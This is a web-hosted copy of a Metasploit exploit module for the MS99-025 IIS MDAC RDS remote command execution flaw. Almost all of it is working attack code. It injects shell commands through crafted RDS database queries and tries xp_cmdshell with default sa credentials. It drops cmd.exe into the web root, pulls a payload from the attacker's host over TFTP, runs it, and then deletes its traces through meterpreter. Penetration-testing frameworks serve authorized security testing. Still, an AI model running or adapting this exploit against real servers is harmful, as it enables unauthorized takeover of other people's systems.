CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/iis/msadc.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'rex/exploitation'
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::CmdStager
12
13
def initialize
14
super(
15
'Name' => 'MS99-025 Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution',
16
'Description' => %q{
17
This module can be used to execute arbitrary commands on IIS servers
18
that expose the /msadc/msadcs.dll Microsoft Data Access Components
19
(MDAC) Remote Data Service (RDS) DataFactory service using VbBusObj
20
or AdvancedDataFactory to inject shell commands into Microsoft Access
21
databases (MDBs), MSSQL databases and ODBC/JET Data Source Name (DSN).
22
Based on the msadcs.pl v2 exploit by Rain.Forest.Puppy, which was actively
23
used in the wild in the late Ninties. MDAC versions affected include MDAC
24
1.5, 2.0, 2.0 SDK, 2.1 and systems with the MDAC Sample Pages for RDS
25
installed, and NT4 Servers with the NT Option Pack installed or upgraded
26
2000 systems often running IIS3/4/5 however some vulnerable installations
27
can still be found on newer Windows operating systems. Note that newer
28
releases of msadcs.dll can still be abused however by default remote
29
connections to the RDS is denied. Consider using VERBOSE if you're unable
30
to successfully execute a command, as the error messages are detailed
31
and useful for debugging. Also set NAME to obtain the remote hostname,
32
and METHOD to use the alternative VbBusObj technique.
33
},
34
'Author' => 'aushack',
35
'Platform' => 'win',
36
'References' => [
37
['OSVDB', '272'],
38
['BID', '529'],
39
['CVE', '1999-1011'],
40
['MSB', 'MS98-004'],
41
['MSB', 'MS99-025']
42
],
43
'Targets' => [
44
# aushack tested meterpreter OK 20120601
45
# nt4server w/sp3, ie4.02, option pack, IIS4.0, mdac 1.5, over msaccess shell, reverse_nonx
46
# w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp
47
[ 'Automatic', {} ],
48
],
49
'CmdStagerFlavor' => 'tftp',
50
'DefaultTarget' => 0,
51
'DisclosureDate' => 'Jul 17 1998',
52
'Compat' => {
53
'Meterpreter' => {
54
'Commands' => %w[
55
stdapi_fs_delete_file
56
stdapi_sys_process_execute
57
]
58
}
59
}
60
)
61
62
register_options(
63
[
64
OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),
65
OptBool.new('METHOD', [ true, "If true, use VbBusObj instead of AdvancedDataFactory", false]),
66
OptBool.new('NAME', [ true, "If true, attempt to obtain the MACHINE NAME", false]),
67
OptString.new('DBHOST', [ true, "The SQL Server host", 'local']),
68
OptString.new('DBNAME', [ true, "The SQL Server database", 'master']),
69
OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']),
70
OptString.new('DBPASSWORD', [ false, "The SQL Server password (default is blank)", '']),
71
]
72
)
73
74
self.needs_cleanup = true
75
end
76
77
def post_auth?
78
true
79
end
80
81
def check
82
res = send_request_raw({
83
'uri' => normalize_uri(datastore['PATH']),
84
'method' => 'GET',
85
})
86
if (res.code == 200)
87
print_status("Server responded with HTTP #{res.code} OK")
88
if (res.body =~ /Content-Type: application\/x-varg/)
89
print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")
90
Exploit::CheckCode::Detected
91
end
92
else
93
Exploit::CheckCode::Safe
94
end
95
end
96
97
def create_dsn(drive, dsn)
98
req = "/scripts/tools/newdsn.exe?driver=Microsoft\%2BAccess\%2BDriver\%2B\%28*.mdb\%29\&dsn=#{dsn}\&dbq=#{drive}\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr="
99
100
res = send_request_raw({
101
'uri' => req,
102
})
103
104
if (res and res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED! The most likely cause is invalid attributes<\/B><\/H2>/)
105
vprint_error("DSN CREATE failed for drive #{drive} with #{dsn}.")
106
return false
107
elsif (res.code == 200 and res.body =~ /<H2>Datasource creation successful<\/H2>/)
108
print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!")
109
return true
110
end
111
end
112
113
def exec_cmd(sql, cmd, d)
114
boundary = rand_text_alphanumeric(8)
115
method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query"
116
dsn = Rex::Text.to_unicode(d)
117
if (d =~ /driver=\{SQL Server\}/)
118
select = Rex::Text.to_unicode(sql + '"' + cmd + '"')
119
elsif (cmd.nil?)
120
select = Rex::Text.to_unicode(sql)
121
else
122
select = Rex::Text.to_unicode(sql + "'|shell(\"" + cmd + "\")|'")
123
end
124
125
vprint_status("Attempting to request: #{select} on #{d}")
126
127
query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}"
128
129
sploit = "--#{boundary}\r\n"
130
sploit << "Content-Type: application/x-varg\r\n"
131
sploit << "Content-Length: #{query.length}\r\n\r\n"
132
sploit << query
133
sploit << "\r\n--#{boundary}--\r\n"
134
135
data = "ADCClientVersion:01.06\r\n"
136
data << 'Content-Type: multipart/mixed; boundary=' + boundary + '; num-args=3'
137
data << "\r\n\r\n"
138
data << sploit
139
140
res = send_request_raw({
141
'uri' => normalize_uri(datastore['PATH'], method),
142
'agent' => 'ACTIVEDATA',
143
'headers' =>
144
{
145
'Content-Length' => data.length,
146
'Connection' => "Keep-Alive",
147
},
148
'method' => 'POST',
149
'data' => data,
150
})
151
152
response = Rex::Text.to_ascii(res.body, 'utf-16be')
153
154
if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./)
155
vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}")
156
return true, sql, d
157
elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./)
158
print_error("Exploit failed: the server is patched")
159
return # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail.
160
elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/)
161
vprint_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}")
162
elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/)
163
vprint_error("Server is vulnerable but the drive and path is incorrect.")
164
elsif (response =~ /Disk or network error./)
165
vprint_error("Server is vulnerable but the driver letter doesn't physically exist.")
166
elsif (response =~ /Syntax error in CREATE TABLE statement/)
167
vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed")
168
elsif (response =~ /Table '(\w+)' already exists/)
169
vprint_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!")
170
elsif (response =~ /Syntax error \(missing operator\) in query expression/)
171
vprint_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.")
172
elsif (response =~ /Too few parameters. Expected 1/)
173
print_good("Command was probably executed!")
174
elsif (response =~ /Data source name not found and no default driver specified/)
175
vprint_error("Server is vulnerable however the requested DSN '#{d}' does not exist.")
176
elsif (response =~ /Couldn't find file/)
177
vprint_error("Server is vulnerable however the requested .mdb file does not exist.")
178
elsif (response =~ /Specified SQL server not found/)
179
vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist")
180
elsif (response =~ /Server does not exist or access denied/)
181
vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist or access is denied")
182
elsif (response =~ /General error Unable to open registry key/)
183
vprint_error("Server error (possible misconfiguration): Unable to open registry key ")
184
elsif (response =~ /It is in a read-only database/)
185
vprint_error("Server accepted request however the requested .mdb is READ-ONLY")
186
elsif (response =~ /Invalid connection/)
187
vprint_error("Server accepted request however the MSSQL database says Invalid connection")
188
elsif (response =~ /\[SQL Server\]Login failed for user/)
189
vprint_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.")
190
elsif (response =~ /EXECUTE permission denied on object 'xp_cmdshell'/)
191
vprint_error("Server accepted request and MSSQL uid/pass is correct however the UID does not have permission to execute xp_cmdshell!")
192
elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '"<table>" <table>' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique.
193
vprint_error("Server accepted request however it failed for reasons unknown.")
194
elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval?
195
vprint_error("Unknown reply - but the command didn't execute")
196
else
197
vprint_status("Unknown reply - server is likely patched:\n#{response}")
198
end
199
return false
200
end
201
202
def find_exec
203
# config data - greets to rain forest puppy :)
204
boundary = rand_text_alphanumeric(8)
205
206
if (datastore['NAME']) # Obtain the hostname if true
207
208
data = "ADCClientVersion:01.06\r\n"
209
data << 'Content-Type: multipart/mixed; boundary=' + boundary + '; num-args=0'
210
data << "\r\n\r\n--#{boundary}--\r\n"
211
212
res = send_request_raw({
213
'uri' => normalize_uri(datastore['PATH'], '/VbBusObj.VbBusObjCls.GetMachineName'),
214
'agent' => 'ACTIVEDATA',
215
'headers' =>
216
{
217
'Content-Length' => data.length,
218
'Connection' => "Keep-Alive",
219
},
220
'method' => 'POST',
221
'data' => data,
222
223
})
224
225
if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname
226
print_good("Hostname: #{$1}")
227
end
228
end
229
230
drives = ["c", "d", "e", "f", "g", "h"]
231
sysdirs = ['winnt', 'windows', 'win', 'winnt351', 'winnt35' ]
232
dsns = [
233
"AdvWorks", "pubs", "wicca", "CertSvr", "CFApplications", "cfexamples", "CFForums",
234
"CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"
235
]
236
237
sysmdbs = [
238
"\\catroot\\icatalog.mdb", # these are %systemroot%
239
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
240
"\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
241
"\\system32\\certmdb.mdb",
242
"\\system32\\ias\\ias.mdb",
243
"\\system32\\ias\\dnary.mdb",
244
"\\system32\\certlog\\certsrv.mdb"
245
]
246
247
mdbs = [
248
"\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", # these are non-windows
249
"\\cfusion\\cfapps\\forums\\forums_.mdb",
250
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
251
"\\cfusion\\cfapps\\security\\realm_.mdb",
252
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
253
"\\cfusion\\database\\cfexamples.mdb",
254
"\\cfusion\\database\\cfsnippets.mdb",
255
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
256
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
257
"\\cfusion\\brighttiger\\database\\cleam.mdb",
258
"\\cfusion\\database\\smpolicy.mdb",
259
"\\cfusion\\database\\cypress.mdb",
260
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
261
"\\website\\cgi-win\\dbsample.mdb",
262
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
263
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
264
]
265
266
print_status("Step 1: Trying raw driver to btcustmr.mdb")
267
268
drives.each do |drive|
269
sysdirs.each do |sysdir|
270
ret = exec_cmd("Select * from Customers where City=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}\\help\\iis\\htm\\tutorial\\btcustmr.mdb;")
271
return ret if (ret)
272
end
273
end
274
275
print_status("Step 2: Trying to make our own DSN...")
276
x = false # Stop if we make a DSN
277
drives.each do |drive|
278
dsns.each do |dsn|
279
unless x
280
x = create_dsn(drive, dsn)
281
end
282
end
283
end
284
285
table = rand_text_alphanumeric(3)
286
print_status("Step 3: Trying to create a new table in our own DSN...")
287
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general make table query
288
289
print_status("Step 4: Trying to execute our command via our own DSN and table...")
290
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general exploit table query
291
return ret if (ret)
292
293
print_status("Step 5: Trying to execute our command via known DSNs...")
294
dsns.each do |dsn|
295
ret = exec_cmd("select * from MSysModules where name=", "cmd /c echo x", dsn) # this is table-independent query (new)
296
return ret if (ret)
297
end
298
299
print_status("Step 6: Trying known system .mdbs...")
300
drives.each do |drive|
301
sysdirs.each do |sysdir|
302
sysmdbs.each do |sysmdb|
303
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")
304
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")
305
return ret if (ret)
306
end
307
end
308
end
309
310
print_status("Step 7: Trying known program file .mdbs...")
311
drives.each do |drive|
312
mdbs.each do |mdb|
313
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")
314
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")
315
return ret if (ret)
316
end
317
end
318
319
print_status("Step 8: Trying SQL xp_cmdshell method...")
320
ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :)
321
return ret if (ret)
322
323
return -1
324
end
325
326
def exploit
327
print_status("Searching for valid command execution point...")
328
x = false
329
until (x)
330
x, y, z = find_exec
331
if (x == -1)
332
break
333
end
334
end
335
336
if (x == true)
337
print_good("Successful command execution found!")
338
339
# now copy the file
340
exe_fname = rand_text_alphanumeric(4 + rand(4)) + ".exe"
341
print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
342
# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
343
# Unfortunately, using %SystemRoot% doesn't seem to work :(
344
res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z)
345
346
# Use the CMD stager to get a payload running
347
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
348
execute_cmdstager({ temp: '.', tftphost: tftphost, linemax: 1_400, cgifname: exe_fname, noconcat: true })
349
350
# Save these file names for later deletion
351
@exe_cmd_copy = exe_fname
352
@exe_payload = stager_instance.payload_exe # Grab this info from CmdStagerTFTP
353
354
# Just for good measure, we'll make a quick, direct request for the payload
355
# Using the "start" method doesn't seem to make iis very happy :(
356
print_status("Triggering the payload via a direct request...")
357
res = send_request_raw({ 'uri' => '/scripts/' + stager_instance.payload_exe, 'method' => 'GET' }, 1)
358
end
359
360
handler
361
end
362
363
#
364
# The following handles deleting the copied cmd.exe and payload exe!
365
#
366
def on_new_session(client)
367
if client.type != "meterpreter"
368
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
369
print_error("The copied exe and the payload exe must be removed manually.")
370
return
371
end
372
373
return if not @exe_cmd_copy
374
375
# stdapi must be loaded before we can use fs.file
376
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
377
378
# Delete the copied CMD.exe
379
print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
380
client.fs.file.rm(@exe_cmd_copy)
381
382
# Migrate so that we can delete the payload exe
383
client.console.run_single("run migrate -f")
384
385
# Delete the payload exe
386
return if not @exe_payload
387
388
delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload # C:\ ?
389
390
print_warning("Changing permissions on #{delete_me_too} ...")
391
cmd = "C:\\#{sysdir[0]}\\system32\\attrib.exe -r -h -s " + delete_me_too # winnt ?
392
client.sys.process.execute(cmd, nil, { 'Hidden' => true })
393
394
print_warning("Deleting #{delete_me_too} ...")
395
begin
396
client.fs.file.rm(delete_me_too)
397
rescue ::Exception => e
398
print_error("Exception: #{e.inspect}")
399
end
400
end
401
402
def cleanup
403
framework.events.remove_exploit_subscriber(self)
404
end
405
406
def execute_command(cmd, opts = {})
407
# Don't try the start command...
408
# Using the "start" method doesn't seem to make iis very happy :(
409
return [nil, nil] if cmd =~ /^start [a-zA-Z]+\.exe$/
410
411
print_status("Executing command: #{cmd} (options: #{opts.inspect})")
412
413
uri = '/scripts/'
414
exe = opts[:cgifname]
415
if (exe)
416
uri << exe
417
end
418
uri << '?/x+/c+'
419
uri << Rex::Text.uri_encode(cmd)
420
421
vprint_status("Attempting to execute: #{uri}")
422
423
res = send_request_raw({
424
'uri' => uri,
425
'method' => 'GET',
426
})
427
end
428
end
429
430